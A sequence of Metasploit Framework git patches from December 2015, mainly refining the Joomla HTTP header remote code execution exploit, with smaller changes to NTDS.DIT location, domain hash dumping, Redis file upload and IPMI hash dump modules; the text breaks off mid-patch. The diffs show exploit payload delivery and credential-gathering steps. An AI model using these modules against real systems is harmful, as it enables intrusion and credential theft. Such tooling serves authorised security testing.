Metasploit3 < Msf::Post def run # Find the NTDS.DIT location in the registry - ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters","DSA Database file").to_s + ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters","DSA Database file").to_s if !ntds print_error("Unable to find the NTDS.DIT location.") return @@ -39,10 +39,10 @@ class Metasploit3 < Msf::Post if file?(ntds) f = client.fs.file.stat(ntds) print_line("NTDS.DIT is located at: #{ntds}") - print_line(" Size: #{f.size} bytes") - print_line(" Created: #{f.ctime}") - print_line(" Modified: #{f.mtime}") - print_line(" Accessed: #{f.atime}") + print_line(" Size: #{f.size} bytes") + print_line(" Created: #{f.ctime}") + print_line(" Modified: #{f.mtime}") + print_line(" Accessed: #{f.atime}") else print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") end From fef9a845480c2ff11c5a354def53d1bba275b74a Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 15 Dec 2015 23:12:14 +0000 Subject: [PATCH 11/39] rubocop --- modules/post/windows/gather/ntds_location.rb | 23 ++++++++++---------- 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index 0376f43ca0..fd48e578b0 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -30,22 +30,21 @@ class Metasploit3 < Msf::Post def run # Find the NTDS.DIT location in the registry - ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters","DSA Database file").to_s - if !ntds - print_error("Unable to find the NTDS.DIT location.") - return + ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "DSA Database file").to_s + unless ntds + print_error("Unable to find the NTDS.DIT location.") + return end if file?(ntds) - f = client.fs.file.stat(ntds) - print_line("NTDS.DIT is located at: #{ntds}") - print_line(" Size: #{f.size} bytes") - print_line(" Created: #{f.ctime}") - print_line(" Modified: #{f.mtime}") - print_line(" Accessed: #{f.atime}") + f = client.fs.file.stat(ntds) + print_line("NTDS.DIT is located at: #{ntds}") + print_line(" Size: #{f.size} bytes") + print_line(" Created: #{f.ctime}") + print_line(" Modified: #{f.mtime}") + print_line(" Accessed: #{f.atime}") else - print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") + print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") end end - end From 5dd8cb7648fc5dee93a5f0f0a7bd277c7554f3de Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 15 Dec 2015 23:13:02 +0000 Subject: [PATCH 12/39] proper type conversions --- modules/post/windows/gather/ntds_location.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index fd48e578b0..ddbdea28ee 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -39,10 +39,10 @@ class Metasploit3 < Msf::Post if file?(ntds) f = client.fs.file.stat(ntds) print_line("NTDS.DIT is located at: #{ntds}") - print_line(" Size: #{f.size} bytes") - print_line(" Created: #{f.ctime}") - print_line(" Modified: #{f.mtime}") - print_line(" Accessed: #{f.atime}") + print_line(" Size: #{f.size.to_s} bytes") + print_line(" Created: #{f.ctime.to_s}") + print_line(" Modified: #{f.mtime.to_s}") + print_line(" Accessed: #{f.atime.to_s}") else print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") end From 2c29298485f88ba23d1adbf9878132e8dc05d58e Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 15 Dec 2015 23:16:21 +0000 Subject: [PATCH 13/39] undoing this, put in a separate module --- modules/post/windows/gather/credentials/domain_hashdump.rb | 5 ----- 1 file changed, 5 deletions(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index fc1ac23b61..a90b6d3ac1 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -80,11 +80,6 @@ class Metasploit3 < Msf::Post @ntds_location ||= registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\","DSA Working Directory") end - def check - loc = ntds_location - print_status "Original location #{loc.flatten}" - end - def ntdsutil_method tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" From d4ade7a1fd1f551b8f653faa9bc985ec79911e60 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 00:18:39 +0100 Subject: [PATCH 14/39] update check method --- modules/exploits/multi/http/joomla_http_header_rce.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 3e94000d64..52ea087395 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -65,7 +65,13 @@ class Metasploit3 < Msf::Exploit::Remote php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' vprint_status("Found PHP version: #{php_version}") - if php_version >= '5.4' + vulnerable = false + vulnerable = true if php_version < '5.4' + vulnerable = true if php_version.start_with?('5.4') && php_version < '5.4.45' + vulnerable = true if php_version.start_with?('5.5') && php_version < '5.5.29' + vulnerable = true if php_version.start_with?('5.6') && php_version < '5.6.13' + + unless vulnerable vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe end @@ -79,6 +85,9 @@ class Metasploit3 < Msf::Exploit::Remote end end + res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') }) + return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') + Exploit::CheckCode::Safe end From 342ce05ff7ec8124172880c0fe5693bafe4bf248 Mon Sep 17 00:00:00 2001 From: nixawk Date: Wed, 16 Dec 2015 04:28:52 +0000 Subject: [PATCH 15/39] add a DISABLE_RDBCOMPRESSION option for redis file_upload --- modules/auxiliary/scanner/redis/file_upload.rb | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb index bfac68137b..b977411db9 100644 --- a/modules/auxiliary/scanner/redis/file_upload.rb +++ b/modules/auxiliary/scanner/redis/file_upload.rb @@ -43,7 +43,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptPath.new('LocalFile', [false, 'Local file to be uploaded']), - OptString.new('RemoteFile', [false, 'Remote file path']) + OptString.new('RemoteFile', [false, 'Remote file path']), + OptBool.new('DISABLE_RDBCOMPRESSION', [false, 'Disable string compression when dump .rdb databases', true]) ] ) end @@ -59,6 +60,7 @@ class Metasploit3 < Msf::Auxiliary # XXX: this is a hack -- we should really parse the responses more correctly original_dir = redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last original_dbfilename = redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last + original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last # set the directory which stores the current redis local store data = redis_command('CONFIG', 'SET', 'dir', dirname) @@ -68,6 +70,17 @@ class Metasploit3 < Msf::Auxiliary data = redis_command('CONFIG', 'SET', 'dbfilename', basename) return unless data.include?('+OK') + # Compression string objects using LZF when dump .rdb databases ? + # For default that's set to 'yes' as it's almost always a win. + # If you want to save some CPU in the saving child set it to 'no' but + # the dataset will likely be bigger if you have compressible values or + # keys. + + if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES' + data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') + return unless data.include?('+OK') + end + # set a key in this db that contains our content # XXX: this does not work well (at all) if the content we are uploading is # multiline. It also probably doesn't work well if the content isn't @@ -76,6 +89,7 @@ class Metasploit3 < Msf::Auxiliary data = redis_command('SET', key, content) return unless data.include?('+OK') data = redis_command('SAVE') + if data.include?('+OK') print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}") else @@ -87,6 +101,7 @@ class Metasploit3 < Msf::Auxiliary # XXX: ensure that these get sent if we prematurely return if a previous command fails redis_command('CONFIG', 'SET', 'dir', original_dir) redis_command('CONFIG', 'SET', 'dbfilename', original_dbfilename) + redis_command('CONFIG', 'SET', 'rdbcompression', original_rdbcompression) redis_command('DEL', key) redis_command('SAVE') end From 2e54cd2ca78e8f9cf84d9e7ab6e472df3c753aee Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 06:42:41 +0100 Subject: [PATCH 16/39] update description --- modules/exploits/multi/http/joomla_http_header_rce.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 52ea087395..489632f815 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -17,7 +17,9 @@ class Metasploit3 < Msf::Exploit::Remote Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5 to 3.4. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read - from the databse + from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. + In later versions the deserialisation of invalid session data stops on the first error and the + exploit will not work. }, 'Author' => [ @@ -32,7 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], - ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'] + ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'], + ['URL', 'https://bugs.php.net/bug.php?id=70219'] ], 'Privileged' => false, 'Platform' => 'php', From c2795d58cb3e86768760a01a223771cff22d542f Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 06:55:23 +0100 Subject: [PATCH 17/39] use target_uri.path --- modules/exploits/multi/http/joomla_http_header_rce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 489632f815..9b16a3279f 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -120,13 +120,13 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending payload ...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => target_uri.to_s, + 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload } }) session_cookie = res.get_cookies res = send_request_cgi({ 'method' => 'GET', - 'uri' => target_uri.to_s, + 'uri' => target_uri.path, 'cookie' => session_cookie, 'headers' => { 'CMD' => Rex::Text.encode_base64(payload.encoded) From d80a7e662fb939e3e454fa3ba0b279fdd0c8b3a5 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 06:57:06 +0100 Subject: [PATCH 18/39] some formatting --- .../exploits/multi/http/joomla_http_header_rce.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 9b16a3279f..8e34e7a35a 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [['Joomla', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) - ) + ) register_options( [ @@ -119,15 +119,15 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending payload ...") res = send_request_cgi({ - 'method' => 'GET', - 'uri' => target_uri.path, + 'method' => 'GET', + 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload } }) session_cookie = res.get_cookies res = send_request_cgi({ - 'method' => 'GET', - 'uri' => target_uri.path, - 'cookie' => session_cookie, + 'method' => 'GET', + 'uri' => target_uri.path, + 'cookie' => session_cookie, 'headers' => { 'CMD' => Rex::Text.encode_base64(payload.encoded) } From 595645bcd7537666bbf2b34aee002ec7a9827f8a Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 07:03:01 +0100 Subject: [PATCH 19/39] update description --- modules/exploits/multi/http/joomla_http_header_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 8e34e7a35a..053a0c8042 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution', 'Description' => %q{ - Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5 to 3.4. + Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. From 01b943ec937f027065f9bf7f299fd852b8466c8b Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 07:26:25 +0100 Subject: [PATCH 20/39] fix check method --- modules/exploits/multi/http/joomla_http_header_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 053a0c8042..1b72f2afbc 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') }) return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') - Exploit::CheckCode::Safe + Exploit::CheckCode::Unknown end def get_payload From d110c6cc73e86d4b9abe4d1b603e7c6c2d5c4bfb Mon Sep 17 00:00:00 2001 From: pyllyukko Date: Wed, 16 Dec 2015 13:36:37 +0200 Subject: [PATCH 21/39] Added few references to ipmi_dumphashes --- modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 9d64d504af..c6d1f16d8e 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -25,7 +25,11 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'] + ['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'], + ['URL', 'http://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT101367 + ['CVE', '2013-4786'], + ['OSVDB', '95057'], + ['BID', '61076'], ], 'DisclosureDate' => 'Jun 20 2013' ) From 675dff3b6fd4bb132971c7318b17272411e8ea6d Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 13:04:15 +0100 Subject: [PATCH 22/39] use Gem::Version for version compare --- modules/exploits/multi/http/joomla_http_header_rce.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 1b72f2afbc..2895502d5a 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -68,11 +68,12 @@ class Metasploit3 < Msf::Exploit::Remote php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' vprint_status("Found PHP version: #{php_version}") + version = Gem::Version.new(php_version) + vulnerable = false - vulnerable = true if php_version < '5.4' - vulnerable = true if php_version.start_with?('5.4') && php_version < '5.4.45' - vulnerable = true if php_version.start_with?('5.5') && php_version < '5.5.29' - vulnerable = true if php_version.start_with?('5.6') && php_version < '5.6.13' + vulnerable = true if version <= Gem::Version.new('5.4.44') + vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) + vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) unless vulnerable vprint_error('This module currently does not work against this PHP version') From 2661cc5899edf50bf81009880a116243111a5ad3 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 13:49:07 +0100 Subject: [PATCH 23/39] check ubuntu specific version --- .../exploits/multi/http/joomla_http_header_rce.rb | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 2895502d5a..a20101a754 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - php_version = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)/i).flatten.first || '' + php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || '' vprint_status("Found PHP version: #{php_version}") version = Gem::Version.new(php_version) @@ -75,6 +75,18 @@ class Metasploit3 < Msf::Exploit::Remote vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) + # check for ubuntu specific versions. Was fixed in 5.5.9+dfsg-1ubuntu4.13 + # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.14/changelog + if rest && rest.include?('ubuntu') && version == Gem::Version.new('5.5.9') + sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' + vprint_status("Found Ubuntu PHP version: #{sub_version}") + if Gem::Version.new(sub_version) < Gem::Version.new(4.13) + vulnerable = true + else + vulnerable = false + end + end + unless vulnerable vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe From 934c6282a5ea7ba0263b1a3cc9c0a4a448669e0c Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 13:52:06 +0100 Subject: [PATCH 24/39] check for nil --- modules/exploits/multi/http/joomla_http_header_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index a20101a754..7cd87f3007 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -136,8 +136,9 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload } }) + fail_with(Failure::Unknown, 'No response') if res.nil? session_cookie = res.get_cookies - res = send_request_cgi({ + send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, 'cookie' => session_cookie, From 60181feb51af2809acc21be27174e3587ec1926d Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 14:02:26 +0100 Subject: [PATCH 25/39] more ubuntu checks --- .../multi/http/joomla_http_header_rce.rb | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 7cd87f3007..2bec5eb781 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -75,12 +75,19 @@ class Metasploit3 < Msf::Exploit::Remote vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) - # check for ubuntu specific versions. Was fixed in 5.5.9+dfsg-1ubuntu4.13 - # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.14/changelog - if rest && rest.include?('ubuntu') && version == Gem::Version.new('5.5.9') + # check for ubuntu specific versions. Was fixed in + # * 5.5.9+dfsg-1ubuntu4.13 + # * 5.3.10-1ubuntu3.20 + # Changelogs (search for CVE-2015-6835): + # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog + # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog + if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' - vprint_status("Found Ubuntu PHP version: #{sub_version}") - if Gem::Version.new(sub_version) < Gem::Version.new(4.13) + vprint_status("Found Ubuntu PHP version: #{php_version}-#{sub_version}") + + if version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) < Gem::Version.new(4.13) + vulnerable = true + elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) < Gem::Version.new(3.20) vulnerable = true else vulnerable = false From fa3fb1affc5cc2b429968fc366404d67799c3137 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 14:18:44 +0100 Subject: [PATCH 26/39] better ubuntu version check --- .../multi/http/joomla_http_header_rce.rb | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 2bec5eb781..e0523a87bc 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -69,11 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("Found PHP version: #{php_version}") version = Gem::Version.new(php_version) - vulnerable = false - vulnerable = true if version <= Gem::Version.new('5.4.44') - vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) - vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) # check for ubuntu specific versions. Was fixed in # * 5.5.9+dfsg-1ubuntu4.13 @@ -85,13 +81,19 @@ class Metasploit3 < Msf::Exploit::Remote sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' vprint_status("Found Ubuntu PHP version: #{php_version}-#{sub_version}") - if version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) < Gem::Version.new(4.13) - vulnerable = true - elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) < Gem::Version.new(3.20) - vulnerable = true - else + if version > Gem::Version.new('5.5.9') vulnerable = false + elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13') + vulnerable = false + elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20') + vulnerable = false + else + vulnerable = true end + else + vulnerable = true if version <= Gem::Version.new('5.4.44') + vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) + vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) end unless vulnerable From 67eba0d7081e8aecddb85cde5f539900530f63aa Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 14:46:00 +0100 Subject: [PATCH 27/39] update description --- modules/exploits/multi/http/joomla_http_header_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index e0523a87bc..bf0c0c9152 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -19,7 +19,8 @@ class Metasploit3 < Msf::Exploit::Remote by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the - exploit will not work. + exploit will not work. On Ubuntu the PHP Patch was included in versions 5.5.9+dfsg-1ubuntu4.13 and + 5.3.10-1ubuntu3.20. }, 'Author' => [ From 30f90f35e982153053f9bd138772784f58fe8cae Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 15:19:33 +0100 Subject: [PATCH 28/39] also check for debian version number --- .../multi/http/joomla_http_header_rce.rb | 26 ++++++++++++++----- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index bf0c0c9152..af6e00c3d5 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -19,8 +19,8 @@ class Metasploit3 < Msf::Exploit::Remote by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the - exploit will not work. On Ubuntu the PHP Patch was included in versions 5.5.9+dfsg-1ubuntu4.13 and - 5.3.10-1ubuntu3.20. + exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and + 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1. }, 'Author' => [ @@ -67,20 +67,20 @@ class Metasploit3 < Msf::Exploit::Remote end php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || '' - vprint_status("Found PHP version: #{php_version}") - version = Gem::Version.new(php_version) vulnerable = false - # check for ubuntu specific versions. Was fixed in + # check for ubuntu and debian specific versions. Was fixed in # * 5.5.9+dfsg-1ubuntu4.13 # * 5.3.10-1ubuntu3.20 - # Changelogs (search for CVE-2015-6835): + # * 5.4.45-0+deb7u1 + # Changelogs (search for CVE-2015-6835 or #70219): # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog + # http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' - vprint_status("Found Ubuntu PHP version: #{php_version}-#{sub_version}") + vprint_status("Found Ubuntu PHP version: #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.5.9') vulnerable = false @@ -91,7 +91,19 @@ class Metasploit3 < Msf::Exploit::Remote else vulnerable = true end + elsif rest && rest.include?('+deb') + sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || '' + vprint_status("Found Debian PHP version: #{res.headers['X-Powered-By']}") + + if version > Gem::Version.new('5.4.45') + vulnerable = false + elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1' + vulnerable = false + else + vulnerable = true + end else + vprint_status("Found PHP version: #{res.headers['X-Powered-By']}") vulnerable = true if version <= Gem::Version.new('5.4.44') vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) From b43d580276916a3178249bd79321e78d696aaf19 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 16 Dec 2015 16:16:59 +0100 Subject: [PATCH 29/39] try to detect joomla version --- modules/exploits/multi/http/joomla_http_header_rce.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index af6e00c3d5..1f10f7e5fa 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -114,6 +114,14 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end + res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') }) + if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') + joomla_version = res.body.scan(/([\d\.]+)<\/version>/i).flatten.first || '' + if joomla_version + return 